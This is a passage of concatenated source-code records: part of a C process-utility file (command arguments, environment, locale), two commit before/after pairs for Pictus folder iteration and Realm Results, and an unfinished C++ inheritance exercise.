(\n rtl_uString ** ppFileURL\n) SAL_THROW_EXTERN_C()\n{\n \/* Fallback to ordinary osl_getExecutableFile(). *\/\n return osl_getExecutableFile (ppFileURL);\n}\n\n#endif \/* NO_DL_FUNCTIONS *\/\n\n\/***************************************\n CommandArgs_Impl.\n **************************************\/\nstruct CommandArgs_Impl\n{\n pthread_mutex_t m_mutex;\n sal_uInt32 m_nCount;\n rtl_uString ** m_ppArgs;\n};\n\nstatic struct CommandArgs_Impl g_command_args =\n{\n PTHREAD_MUTEX_INITIALIZER,\n 0,\n 0\n};\n\n\/***************************************\n osl_getExecutableFile().\n **************************************\/\noslProcessError SAL_CALL osl_getExecutableFile (rtl_uString ** ppustrFile)\n{\n oslProcessError result = osl_Process_E_NotFound;\n\n pthread_mutex_lock (&(g_command_args.m_mutex));\n if (g_command_args.m_nCount > 0)\n {\n \/* CommandArgs set. Obtain argv[0]. *\/\n rtl_uString_assign (ppustrFile, g_command_args.m_ppArgs[0]);\n result = osl_Process_E_None;\n }\n pthread_mutex_unlock (&(g_command_args.m_mutex));\n\n return (result);\n}\n\n\/***************************************\n osl_getCommandArgCount().\n **************************************\/\nsal_uInt32 SAL_CALL osl_getCommandArgCount (void)\n{\n sal_uInt32 result = 0;\n\n pthread_mutex_lock (&(g_command_args.m_mutex));\n if (g_command_args.m_nCount > 0)\n result = g_command_args.m_nCount - 1;\n pthread_mutex_unlock (&(g_command_args.m_mutex));\n\n return (result);\n}\n\n\/***************************************\n osl_getCommandArg().\n **************************************\/\noslProcessError SAL_CALL osl_getCommandArg (sal_uInt32 nArg, rtl_uString ** strCommandArg)\n{\n oslProcessError result = osl_Process_E_NotFound;\n\n pthread_mutex_lock (&(g_command_args.m_mutex));\n if (g_command_args.m_nCount > (nArg + 1))\n {\n rtl_uString_assign (strCommandArg, g_command_args.m_ppArgs[nArg + 1]);\n result = osl_Process_E_None;\n }\n pthread_mutex_unlock (&(g_command_args.m_mutex));\n\n return (result);\n}\n\n\/***************************************\n osl_setCommandArgs().\n **************************************\/\nvoid SAL_CALL osl_setCommandArgs (int argc, char ** argv)\n{\n pthread_mutex_lock (&(g_command_args.m_mutex));\n OSL_ENSURE (g_command_args.m_nCount == 0, \"osl_setCommandArgs(): CommandArgs already set.\");\n if (g_command_args.m_nCount == 0)\n {\n rtl_uString** ppArgs = (rtl_uString**)rtl_allocateZeroMemory (argc * sizeof(rtl_uString*));\n if (ppArgs != 0)\n {\n rtl_TextEncoding encoding = osl_getThreadTextEncoding();\n for (int i = 0; i < argc; i++)\n {\n rtl_string2UString (\n &(ppArgs[i]),\n argv[i], rtl_str_getLength (argv[i]), encoding,\n OSTRING_TO_OUSTRING_CVTFLAGS);\n }\n if (ppArgs[0] != 0)\n {\n \/* see @ osl_getExecutableFile(). *\/\n if (rtl_ustr_indexOfChar (rtl_uString_getStr(ppArgs[0]), sal_Unicode('\/')) == -1)\n {\n const rtl::OUString PATH (RTL_CONSTASCII_USTRINGPARAM(\"PATH\"));\n\n rtl_uString * pSearchPath = 0;\n osl_getEnvironment (PATH.pData, &pSearchPath);\n if (pSearchPath)\n {\n rtl_uString * pSearchResult = 0;\n osl_searchPath (ppArgs[0], pSearchPath, &pSearchResult);\n if (pSearchResult)\n {\n rtl_uString_assign (&(ppArgs[0]), pSearchResult);\n rtl_uString_release (pSearchResult);\n }\n rtl_uString_release (pSearchPath);\n }\n }\n\n rtl_uString * pArg0 = 0;\n if (realpath_u (ppArgs[0], &pArg0))\n {\n osl_getFileURLFromSystemPath (pArg0, &(ppArgs[0]));\n rtl_uString_release (pArg0);\n }\n }\n g_command_args.m_nCount = argc;\n g_command_args.m_ppArgs = ppArgs;\n }\n }\n pthread_mutex_unlock (&(g_command_args.m_mutex));\n}\n\n\/***************************************\n osl_getEnvironment().\n **************************************\/\noslProcessError SAL_CALL osl_getEnvironment(rtl_uString* pustrEnvVar, rtl_uString** ppustrValue)\n{\n oslProcessError result = osl_Process_E_NotFound;\n rtl_TextEncoding encoding = osl_getThreadTextEncoding();\n rtl_String* pstr_env_var = 0;\n\n OSL_PRECOND(pustrEnvVar, \"osl_getEnvironment(): Invalid parameter\");\n OSL_PRECOND(ppustrValue, \"osl_getEnvironment(): Invalid parameter\");\n\n rtl_uString2String(\n &pstr_env_var,\n rtl_uString_getStr(pustrEnvVar), rtl_uString_getLength(pustrEnvVar), encoding,\n OUSTRING_TO_OSTRING_CVTFLAGS);\n if (pstr_env_var != 0)\n {\n const char* p_env_var = getenv (rtl_string_getStr (pstr_env_var));\n if (p_env_var != 0)\n {\n rtl_string2UString(\n ppustrValue,\n p_env_var, strlen(p_env_var), encoding,\n OSTRING_TO_OUSTRING_CVTFLAGS);\n OSL_ASSERT(*ppustrValue != NULL);\n\n result = osl_Process_E_None;\n }\n rtl_string_release(pstr_env_var);\n }\n\n return (result);\n}\n\n\/***************************************\n osl_getProcessWorkingDir().\n **************************************\/\noslProcessError SAL_CALL osl_getProcessWorkingDir(rtl_uString **ppustrWorkingDir)\n{\n oslProcessError result = osl_Process_E_Unknown;\n char buffer[PATH_MAX];\n\n OSL_PRECOND(ppustrWorkingDir, \"osl_getProcessWorkingDir(): Invalid parameter\");\n\n if (getcwd (buffer, sizeof(buffer)) != 0)\n {\n rtl_uString* ustrTmp = 0;\n\n rtl_string2UString(\n &ustrTmp,\n buffer, strlen(buffer), osl_getThreadTextEncoding(),\n OSTRING_TO_OUSTRING_CVTFLAGS);\n if (ustrTmp != 0)\n {\n if (osl_getFileURLFromSystemPath (ustrTmp, ppustrWorkingDir) == osl_File_E_None)\n result = osl_Process_E_None;\n rtl_uString_release (ustrTmp);\n }\n }\n\n return (result);\n}\n\n\/******************************************************************************\n *\n * new functions to set\/return the current process locale\n *\n *****************************************************************************\/\n\nstruct ProcessLocale_Impl\n{\n pthread_mutex_t m_mutex;\n rtl_Locale * m_pLocale;\n};\n\nstatic struct ProcessLocale_Impl g_process_locale =\n{\n PTHREAD_MUTEX_INITIALIZER,\n 0\n};\n\nextern \"C\" void _imp_getProcessLocale( rtl_Locale ** );\nextern \"C\" int _imp_setProcessLocale( rtl_Locale * );\n\n\/**********************************************\n osl_getProcessLocale().\n *********************************************\/\noslProcessError SAL_CALL osl_getProcessLocale( rtl_Locale ** ppLocale )\n{\n OSL_PRECOND(ppLocale, \"osl_getProcessLocale(): Invalid parameter.\");\n\n pthread_mutex_lock(&(g_process_locale.m_mutex));\n\n if (g_process_locale.m_pLocale == 0)\n _imp_getProcessLocale (&(g_process_locale.m_pLocale));\n *ppLocale = g_process_locale.m_pLocale;\n\n pthread_mutex_unlock (&(g_process_locale.m_mutex));\n\n return (osl_Process_E_None);\n}\n\n\/**********************************************\n osl_setProcessLocale().\n *********************************************\/\noslProcessError SAL_CALL osl_setProcessLocale( rtl_Locale * pLocale )\n{\n oslProcessError result = osl_Process_E_Unknown;\n\n OSL_PRECOND(pLocale, \"osl_setProcessLocale(): Invalid parameter.\");\n\n pthread_mutex_lock(&(g_process_locale.m_mutex));\n if (_imp_setProcessLocale (pLocale) == 0)\n {\n g_process_locale.m_pLocale = pLocale;\n result = osl_Process_E_None;\n }\n pthread_mutex_unlock (&(g_process_locale.m_mutex));\n\n return (result);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"folder.h\"\n#include \"exception.h\"\n#include \"fileops.h\"\n#include \"types.h\"\n#include <iterator>\n\nnamespace IO {\n\tbool Folder::Path(const std::string& path) {\n\t\tstd::lock_guard<std::mutex> l(m_mxCall);\n\n\t\tif (!IO::DoPathExist(path)) {\n\t\t\treturn false;\n\t\t}\n\t\tm_path = path;\n\n\t\treturn true;\n\t}\n\n\tstd::string Folder::Path() const {\n\t\tstd::lock_guard<std::mutex> l(m_mxCall);\n\t\treturn m_path;\n\t}\n\n\tFileList Folder::CurrentContents() const {\n\t\tauto iter = CreateIterator();\n\t\tFileList files;\n\n\t\tfor (auto x = iter; x != boost::filesystem::directory_iterator(); x++) {\n\t\t\tFolderEntry toRet;\n\t\t\tif (boost::filesystem::is_directory(*x)) {\n\t\t\t\ttoRet.Type = TypeFolder;\n\t\t\t}\n\t\t\tif (boost::filesystem::is_regular_file(*x)) {\n\t\t\t\ttoRet.Type = TypeFile;\n\t\t\t}\n\n\t\t\ttoRet.Name = x->path().filename().string();\n\t\t\tfiles.push_back(toRet);\n\t\t}\n\t\treturn files;\n\t}\n\n\tboost::filesystem::directory_iterator Folder::CreateIterator() const {\n\t\tstd::lock_guard<std::mutex> l(m_mxCall);\n\t\treturn boost::filesystem::directory_iterator(m_path);\n\t}\n}\n<commit_msg>Avoid terminating if Pictus fails to iterate all files\/subfolders<commit_after>#include \"folder.h\"\n#include \"exception.h\"\n#include \"fileops.h\"\n#include \"types.h\"\n#include <iterator>\n\nnamespace IO {\n\tbool Folder::Path(const std::string& path) {\n\t\tstd::lock_guard<std::mutex> l(m_mxCall);\n\n\t\tif (!IO::DoPathExist(path)) {\n\t\t\treturn false;\n\t\t}\n\t\tm_path = path;\n\n\t\treturn true;\n\t}\n\n\tstd::string Folder::Path() const {\n\t\tstd::lock_guard<std::mutex> l(m_mxCall);\n\t\treturn m_path;\n\t}\n\n\tFileList Folder::CurrentContents() const {\n\t\tauto iter = CreateIterator();\n\t\tFileList files;\n\n\t\tfor (auto x = iter; x != boost::filesystem::directory_iterator(); x++) {\n\t\t\ttry\n\t\t\t{\n\t\t\t\tFolderEntry toRet;\n\t\t\t\tif (boost::filesystem::is_directory(*x)) {\n\t\t\t\t\ttoRet.Type = TypeFolder;\n\t\t\t\t}\n\t\t\t\tif (boost::filesystem::is_regular_file(*x)) {\n\t\t\t\t\ttoRet.Type = TypeFile;\n\t\t\t\t}\n\n\t\t\t\ttoRet.Name = x->path().filename().string();\n\t\t\t\tfiles.push_back(toRet);\n\t\t\t}\n\t\t\tcatch (boost::filesystem::filesystem_error& err)\n\t\t\t{\n\t\t\t\t\/\/ Boost can throw exceptions in is_directory and probably is_regular_file for various reasons that are\n\t\t\t\t\/\/ entirely uninteresting to us. Try to do the best of the situation and ignore files\/folders that\n\t\t\t\t\/\/ are causing issues.\n\t\t\t}\n\t\t}\n\t\treturn files;\n\t}\n\n\tboost::filesystem::directory_iterator Folder::CreateIterator() const {\n\t\tstd::lock_guard<std::mutex> l(m_mxCall);\n\t\treturn boost::filesystem::directory_iterator(m_path);\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2015 Realm Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"results.hpp\"\n\n#include <stdexcept>\n\nusing namespace realm;\n\n#ifdef __has_cpp_attribute\n#define REALM_HAS_CCP_ATTRIBUTE(attr) __has_cpp_attribute(attr)\n#else\n#define REALM_HAS_CCP_ATTRIBUTE(attr) 0\n#endif\n\n#if REALM_HAS_CCP_ATTRIBUTE(clang::fallthrough)\n#define REALM_FALLTHROUGH [[clang::fallthrough]]\n#else\n#define REALM_FALLTHROUGH\n#endif\n\nResults::Results(SharedRealm r, Query q, SortOrder s)\n: m_realm(std::move(r))\n, m_query(std::move(q))\n, m_table(m_query.get_table().get())\n, m_sort(std::move(s))\n, m_mode(Mode::Query)\n{\n}\n\nResults::Results(SharedRealm r, Table& table)\n: m_realm(std::move(r))\n, m_table(&table)\n, m_mode(Mode::Table)\n{\n}\n\nvoid Results::validate_read() const\n{\n if (m_realm)\n m_realm->verify_thread();\n if (m_table && !m_table->is_attached())\n throw InvalidatedException();\n}\n\nvoid Results::validate_write() const\n{\n validate_read();\n if (!m_realm || !m_realm->is_in_transaction())\n throw InvalidTransactionException(\"Must be in a write transaction\");\n}\n\nsize_t Results::size()\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty: return 0;\n case Mode::Table: return m_table->size();\n case Mode::Query: return m_query.count();\n case Mode::TableView:\n update_tableview();\n return m_table_view.size();\n }\n REALM_UNREACHABLE();\n}\n\nRowExpr Results::get(size_t row_ndx)\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty: break;\n case Mode::Table:\n if (row_ndx < m_table->size())\n return m_table->get(row_ndx);\n break;\n case Mode::Query:\n case Mode::TableView:\n update_tableview();\n if (row_ndx < m_table_view.size())\n return m_table_view.get(row_ndx);\n break;\n }\n\n throw OutOfBoundsIndexException{row_ndx, size()};\n}\n\nutil::Optional<RowExpr> Results::first()\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty:\n return none;\n case Mode::Table:\n return m_table->size() == 0 ? util::none : util::make_optional(m_table->front());\n case Mode::Query:\n update_tableview();\n REALM_FALLTHROUGH;\n case Mode::TableView:\n return m_table_view.size() == 0 ? util::none : util::make_optional(m_table_view.front());\n }\n REALM_UNREACHABLE();\n}\n\nutil::Optional<RowExpr> Results::last()\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty:\n return none;\n case Mode::Table:\n return m_table->size() == 0 ? util::none : util::make_optional(m_table->back());\n case Mode::Query:\n update_tableview();\n REALM_FALLTHROUGH;\n case Mode::TableView:\n return m_table_view.size() == 0 ? util::none : util::make_optional(m_table_view.back());\n }\n REALM_UNREACHABLE();\n}\n\nvoid Results::update_tableview()\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty:\n case Mode::Table:\n return;\n case Mode::Query:\n m_table_view = m_query.find_all();\n if (m_sort) {\n m_table_view.sort(m_sort.columnIndices, m_sort.ascending);\n }\n m_mode = Mode::TableView;\n break;\n case Mode::TableView:\n m_table_view.sync_if_needed();\n break;\n }\n}\n\nsize_t Results::index_of(Row const& row)\n{\n validate_read();\n if (!row) {\n throw DetatchedAccessorException{};\n }\n if (m_table && row.get_table() != m_table) {\n throw IncorrectTableException{\n ObjectStore::object_type_for_table_name(m_table->get_name()),\n ObjectStore::object_type_for_table_name(row.get_table()->get_name())};\n }\n return index_of(row.get_index());\n}\n\nsize_t Results::index_of(size_t row_ndx)\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty:\n return not_found;\n case Mode::Table:\n return row_ndx;\n case Mode::Query:\n if (!m_sort)\n return m_query.count(row_ndx, row_ndx + 1) ? m_query.count(0, row_ndx) : not_found;\n REALM_FALLTHROUGH;\n case Mode::TableView:\n update_tableview();\n return m_table_view.find_by_source_ndx(row_ndx);\n }\n REALM_UNREACHABLE();\n}\n\ntemplate<typename Int, typename Float, typename Double, typename DateTime>\nutil::Optional<Mixed> Results::aggregate(size_t column, bool return_none_for_empty,\n Int agg_int, Float agg_float,\n Double agg_double, DateTime agg_datetime)\n{\n validate_read();\n if (!m_table)\n return none;\n if (column > m_table->get_column_count())\n throw OutOfBoundsIndexException{column, m_table->get_column_count()};\n\n auto do_agg = [&](auto const& getter) -> util::Optional<Mixed> {\n switch (m_mode) {\n case Mode::Empty:\n return none;\n case Mode::Table:\n if (return_none_for_empty && m_table->size() == 0)\n return none;\n return util::Optional<Mixed>(getter(*m_table));\n case Mode::Query:\n case Mode::TableView:\n this->update_tableview();\n if (return_none_for_empty && m_table_view.size() == 0)\n return none;\n return util::Optional<Mixed>(getter(m_table_view));\n }\n REALM_UNREACHABLE();\n };\n\n switch (m_table->get_column_type(column))\n {\n case type_DateTime: return do_agg(agg_datetime);\n case type_Double: return do_agg(agg_double);\n case type_Float: return do_agg(agg_float);\n case type_Int: return do_agg(agg_int);\n default:\n throw UnsupportedColumnTypeException{column, m_table};\n }\n}\n\nutil::Optional<Mixed> Results::max(size_t column)\n{\n return aggregate(column, true,\n [=](auto const& table) { return table.maximum_int(column); },\n [=](auto const& table) { return table.maximum_float(column); },\n [=](auto const& table) { return table.maximum_double(column); },\n [=](auto const& table) { return table.maximum_datetime(column); });\n}\n\nutil::Optional<Mixed> Results::min(size_t column)\n{\n return aggregate(column, true,\n [=](auto const& table) { return table.minimum_int(column); },\n [=](auto const& table) { return table.minimum_float(column); },\n [=](auto const& table) { return table.minimum_double(column); },\n [=](auto const& table) { return table.minimum_datetime(column); });\n}\n\nutil::Optional<Mixed> Results::sum(size_t column)\n{\n return aggregate(column, false,\n [=](auto const& table) { return table.sum_int(column); },\n [=](auto const& table) { return table.sum_float(column); },\n [=](auto const& table) { return table.sum_double(column); },\n [=](auto const&) -> util::None { throw UnsupportedColumnTypeException{column, m_table}; });\n}\n\nutil::Optional<Mixed> Results::average(size_t column)\n{\n return aggregate(column, true,\n [=](auto const& table) { return table.average_int(column); },\n [=](auto const& table) { return table.average_float(column); },\n [=](auto const& table) { return table.average_double(column); },\n [=](auto const&) -> util::None { throw UnsupportedColumnTypeException{column, m_table}; });\n}\n\nvoid Results::clear()\n{\n switch (m_mode) {\n case Mode::Empty:\n return;\n case Mode::Table:\n validate_write();\n m_table->clear();\n break;\n case Mode::Query:\n \/\/ Not using Query:remove() because building the tableview and\n \/\/ clearing it is actually significantly faster\n case Mode::TableView:\n validate_write();\n update_tableview();\n m_table_view.clear();\n break;\n }\n}\n\nQuery Results::get_query() const\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty:\n case Mode::Query:\n case Mode::TableView:\n return m_query;\n case Mode::Table:\n return m_table->where();\n }\n REALM_UNREACHABLE();\n}\n\nTableView Results::get_tableview()\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty:\n return {};\n case Mode::Query:\n case Mode::TableView:\n update_tableview();\n return m_table_view;\n case Mode::Table:\n return m_table->where().find_all();\n }\n REALM_UNREACHABLE();\n}\n\nStringData Results::get_object_type() const noexcept\n{\n return ObjectStore::object_type_for_table_name(m_table->get_name());\n}\n\nResults Results::sort(realm::SortOrder&& sort) const\n{\n return Results(m_realm, get_query(), std::move(sort));\n}\n\nResults Results::filter(Query&& q) const\n{\n return Results(m_realm, get_query().and_query(std::move(q)), get_sort());\n}\n\nResults::UnsupportedColumnTypeException::UnsupportedColumnTypeException(size_t column, const Table* table) {\n column_index = column;\n column_name = table->get_column_name(column);\n column_type = table->get_column_type(column);\n}\n<commit_msg>Update existing TableViews in first() and last()<commit_after>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright 2015 Realm Inc.\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\/\/\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n#include \"results.hpp\"\n\n#include <stdexcept>\n\nusing namespace realm;\n\n#ifdef __has_cpp_attribute\n#define REALM_HAS_CCP_ATTRIBUTE(attr) __has_cpp_attribute(attr)\n#else\n#define REALM_HAS_CCP_ATTRIBUTE(attr) 0\n#endif\n\n#if REALM_HAS_CCP_ATTRIBUTE(clang::fallthrough)\n#define REALM_FALLTHROUGH [[clang::fallthrough]]\n#else\n#define REALM_FALLTHROUGH\n#endif\n\nResults::Results(SharedRealm r, Query q, SortOrder s)\n: m_realm(std::move(r))\n, m_query(std::move(q))\n, m_table(m_query.get_table().get())\n, m_sort(std::move(s))\n, m_mode(Mode::Query)\n{\n}\n\nResults::Results(SharedRealm r, Table& table)\n: m_realm(std::move(r))\n, m_table(&table)\n, m_mode(Mode::Table)\n{\n}\n\nvoid Results::validate_read() const\n{\n if (m_realm)\n m_realm->verify_thread();\n if (m_table && !m_table->is_attached())\n throw InvalidatedException();\n}\n\nvoid Results::validate_write() const\n{\n validate_read();\n if (!m_realm || !m_realm->is_in_transaction())\n throw InvalidTransactionException(\"Must be in a write transaction\");\n}\n\nsize_t Results::size()\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty: return 0;\n case Mode::Table: return m_table->size();\n case Mode::Query: return m_query.count();\n case Mode::TableView:\n update_tableview();\n return m_table_view.size();\n }\n REALM_UNREACHABLE();\n}\n\nRowExpr Results::get(size_t row_ndx)\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty: break;\n case Mode::Table:\n if (row_ndx < m_table->size())\n return m_table->get(row_ndx);\n break;\n case Mode::Query:\n case Mode::TableView:\n update_tableview();\n if (row_ndx < m_table_view.size())\n return m_table_view.get(row_ndx);\n break;\n }\n\n throw OutOfBoundsIndexException{row_ndx, size()};\n}\n\nutil::Optional<RowExpr> Results::first()\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty:\n return none;\n case Mode::Table:\n return m_table->size() == 0 ? util::none : util::make_optional(m_table->front());\n case Mode::Query:\n case Mode::TableView:\n update_tableview();\n return m_table_view.size() == 0 ? util::none : util::make_optional(m_table_view.front());\n }\n REALM_UNREACHABLE();\n}\n\nutil::Optional<RowExpr> Results::last()\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty:\n return none;\n case Mode::Table:\n return m_table->size() == 0 ? util::none : util::make_optional(m_table->back());\n case Mode::Query:\n case Mode::TableView:\n update_tableview();\n return m_table_view.size() == 0 ? util::none : util::make_optional(m_table_view.back());\n }\n REALM_UNREACHABLE();\n}\n\nvoid Results::update_tableview()\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty:\n case Mode::Table:\n return;\n case Mode::Query:\n m_table_view = m_query.find_all();\n if (m_sort) {\n m_table_view.sort(m_sort.columnIndices, m_sort.ascending);\n }\n m_mode = Mode::TableView;\n break;\n case Mode::TableView:\n m_table_view.sync_if_needed();\n break;\n }\n}\n\nsize_t Results::index_of(Row const& row)\n{\n validate_read();\n if (!row) {\n throw DetatchedAccessorException{};\n }\n if (m_table && row.get_table() != m_table) {\n throw IncorrectTableException{\n ObjectStore::object_type_for_table_name(m_table->get_name()),\n ObjectStore::object_type_for_table_name(row.get_table()->get_name())};\n }\n return index_of(row.get_index());\n}\n\nsize_t Results::index_of(size_t row_ndx)\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty:\n return not_found;\n case Mode::Table:\n return row_ndx;\n case Mode::Query:\n if (!m_sort)\n return m_query.count(row_ndx, row_ndx + 1) ? m_query.count(0, row_ndx) : not_found;\n REALM_FALLTHROUGH;\n case Mode::TableView:\n update_tableview();\n return m_table_view.find_by_source_ndx(row_ndx);\n }\n REALM_UNREACHABLE();\n}\n\ntemplate<typename Int, typename Float, typename Double, typename DateTime>\nutil::Optional<Mixed> Results::aggregate(size_t column, bool return_none_for_empty,\n Int agg_int, Float agg_float,\n Double agg_double, DateTime agg_datetime)\n{\n validate_read();\n if (!m_table)\n return none;\n if (column > m_table->get_column_count())\n throw OutOfBoundsIndexException{column, m_table->get_column_count()};\n\n auto do_agg = [&](auto const& getter) -> util::Optional<Mixed> {\n switch (m_mode) {\n case Mode::Empty:\n return none;\n case Mode::Table:\n if (return_none_for_empty && m_table->size() == 0)\n return none;\n return util::Optional<Mixed>(getter(*m_table));\n case Mode::Query:\n case Mode::TableView:\n this->update_tableview();\n if (return_none_for_empty && m_table_view.size() == 0)\n return none;\n return util::Optional<Mixed>(getter(m_table_view));\n }\n REALM_UNREACHABLE();\n };\n\n switch (m_table->get_column_type(column))\n {\n case type_DateTime: return do_agg(agg_datetime);\n case type_Double: return do_agg(agg_double);\n case type_Float: return do_agg(agg_float);\n case type_Int: return do_agg(agg_int);\n default:\n throw UnsupportedColumnTypeException{column, m_table};\n }\n}\n\nutil::Optional<Mixed> Results::max(size_t column)\n{\n return aggregate(column, true,\n [=](auto const& table) { return table.maximum_int(column); },\n [=](auto const& table) { return table.maximum_float(column); },\n [=](auto const& table) { return table.maximum_double(column); },\n [=](auto const& table) { return table.maximum_datetime(column); });\n}\n\nutil::Optional<Mixed> Results::min(size_t column)\n{\n return aggregate(column, true,\n [=](auto const& table) { return table.minimum_int(column); },\n [=](auto const& table) { return table.minimum_float(column); },\n [=](auto const& table) { return table.minimum_double(column); },\n [=](auto const& table) { return table.minimum_datetime(column); });\n}\n\nutil::Optional<Mixed> Results::sum(size_t column)\n{\n return aggregate(column, false,\n [=](auto const& table) { return table.sum_int(column); },\n [=](auto const& table) { return table.sum_float(column); },\n [=](auto const& table) { return table.sum_double(column); },\n [=](auto const&) -> util::None { throw UnsupportedColumnTypeException{column, m_table}; });\n}\n\nutil::Optional<Mixed> Results::average(size_t column)\n{\n return aggregate(column, true,\n [=](auto const& table) { return table.average_int(column); },\n [=](auto const& table) { return table.average_float(column); },\n [=](auto const& table) { return table.average_double(column); },\n [=](auto const&) -> util::None { throw UnsupportedColumnTypeException{column, m_table}; });\n}\n\nvoid Results::clear()\n{\n switch (m_mode) {\n case Mode::Empty:\n return;\n case Mode::Table:\n validate_write();\n m_table->clear();\n break;\n case Mode::Query:\n \/\/ Not using Query:remove() because building the tableview and\n \/\/ clearing it is actually significantly faster\n case Mode::TableView:\n validate_write();\n update_tableview();\n m_table_view.clear();\n break;\n }\n}\n\nQuery Results::get_query() const\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty:\n case Mode::Query:\n case Mode::TableView:\n return m_query;\n case Mode::Table:\n return m_table->where();\n }\n REALM_UNREACHABLE();\n}\n\nTableView Results::get_tableview()\n{\n validate_read();\n switch (m_mode) {\n case Mode::Empty:\n return {};\n case Mode::Query:\n case Mode::TableView:\n update_tableview();\n return m_table_view;\n case Mode::Table:\n return m_table->where().find_all();\n }\n REALM_UNREACHABLE();\n}\n\nStringData Results::get_object_type() const noexcept\n{\n return ObjectStore::object_type_for_table_name(m_table->get_name());\n}\n\nResults Results::sort(realm::SortOrder&& sort) const\n{\n return Results(m_realm, get_query(), std::move(sort));\n}\n\nResults Results::filter(Query&& q) const\n{\n return Results(m_realm, get_query().and_query(std::move(q)), get_sort());\n}\n\nResults::UnsupportedColumnTypeException::UnsupportedColumnTypeException(size_t column, const Table* table) {\n column_index = column;\n column_name = table->get_column_name(column);\n column_type = table->get_column_type(column);\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <cmath>\n#include <cstdlib>\n#include <iomanip>\n#include <string>\n#include <vector>\n\nusing namespace std;\n\n\/\/ void rowSum(int a[][4],int nRow){\n\/\/ \tfor(int i=0;i<nRow;i++){\n\/\/ \t\tfor(int j=0;j<4;j++){\n\/\/ \t\t\ta[i][0] = a[i][j];\n\/\/ \t\t}\n\/\/ \t}\n\/\/ }\n\/\/ void splitFloat(float x,int *intPart, float *fracPart){\n\/\/ \t*intPart = static_cast<int>(x);\n\/\/ \t*fracPart = x - *intPart;\n\/\/ }\n\n\/\/ int* search(int* a, int num){\n\/\/ \tfor(int i=0;i<num;i++){\n\/\/ \t\tif(a[i] == 0){\n\/\/ \t\t\treturn &a[i];\n\/\/ \t\t}\n\/\/ \t}\n\/\/ }\n\n\/\/ int compute(int a, int b,int(*func)(int,int)){\n\/\/ \treturn func(a,b);\n\/\/ }\n\/\/ int max(int a, int b){\n\/\/ \treturn((a>b)?a:b);\n\/\/ }\n\/\/ int min(int a, int b){\n\/\/ \treturn((a<b)?a:b);\n\/\/ }\n\/\/ int sum(int a, int b){\n\/\/ \treturn a+b;\n\/\/ }\n\/\/ class Point {\n\/\/ public:\n\/\/ Point(int x = 0, int y = 0) : x(x), y(y) { }\n\/\/ int getX() const { return x; } \n\/\/ int getY() const { return y; } \n\/\/ private:\n\/\/ int x, y;\n\/\/ };\n\n\/\/ double average(const vector<double> &arr){\n\/\/ \tdouble sum = 0;\n\/\/ \tfor(unsigned i=0;i<arr.size();i++){\n\/\/ \t\tsum += arr[i];\n\/\/ \t}\n\/\/ \treturn sum\/arr.size();\n\/\/ }\n\nclass Base1{\npublic:\n\tvoid display() const{\n\t\tcout<<\"Base1::display()\"<<endl;\n\t}\n};\nclass Base2: public Base1{\npublic:\n\tvoid display() const{\n\t\tcout<<\"Base2::display()\"<<endl;\n\t}\n};\nclass Derived: public Base2{\npublic:\n\tvoid display() const{\n\t\tcout<<\"Derived::display()\"<<endl;\n\t}\n};\n\nvoid func(Base1 *ptr){\n\tptr->display();\n}\n\nint main(){\n\tBase1 base1;\n\tBase2 base2;\n\tDerived derived;\n\n\tfunc(&base1);\n\tfunc(&base2);\n\tfunc(&derived);\n\n\t\/\/ 